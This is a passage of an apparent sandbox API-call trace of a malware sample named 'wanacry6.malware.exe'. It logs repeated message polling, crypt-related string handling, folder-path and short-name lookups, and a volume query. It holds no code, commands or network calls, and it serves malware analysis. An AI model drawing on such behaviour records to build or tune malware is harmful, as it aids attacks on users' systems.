wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0050.101] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.102] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0050.103] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.103] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.103] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xd72f04eaf0 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0050.103] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xd72f03f2d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0050.104] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.104] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xd72f04eaf0 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0050.104] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xd72f03f2d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0050.105] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.105] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xd72f04eaf0 | out: pszPath="C:\\Program Files") returned 0x0 [0050.105] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xd72f03f2d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0050.106] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.106] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xd72f03f2d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0050.107] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.107] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xd72f03f2d0, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0050.107] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.107] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xd72f03f2d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0050.108] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.108] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.108] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0050.108] PeekMessageW (in: lpMsg=0xd72f04ee00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ee00) returned 0 [0050.108] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0050.108] PeekMessageW (in: lpMsg=0xd72f04ee00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ee00) returned 0 [0050.108] SetErrorMode (uMode=0x1) returned 0x0 [0050.109] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xd72f03f310, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xd72f04f338, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xd72f04f338*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.109] GetLastError () returned 0x3f0 [0050.109] SetLastError (dwErrCode=0x3f0) [0050.109] GetLastError () returned 0x3f0 [0050.109] SetLastError (dwErrCode=0x3f0) [0050.109] SetErrorMode (uMode=0x0) returned 0x1 [0050.109] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.110] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.111] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.111] QueryPerformanceCounter (in: lpPerformanceCount=0xd72f04f338 | out: lpPerformanceCount=0xd72f04f338*=329287635) returned 1 [0050.111] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.111] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.111] QueryPerformanceCounter (in: lpPerformanceCount=0xd72f04f338 | out: lpPerformanceCount=0xd72f04f338*=329288337) returned 1 [0050.111] QueryPerformanceFrequency (in: lpFrequency=0xd72f04f2b0 | out: lpFrequency=0xd72f04f2b0) returned 1 [0050.111] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.111] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.111] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.112] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.112] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.112] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.112] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.112] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.113] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.113] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.113] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.113] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.113] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.113] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.114] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.115] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.116] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.116] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.116] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.116] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.116] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.117] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.118] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 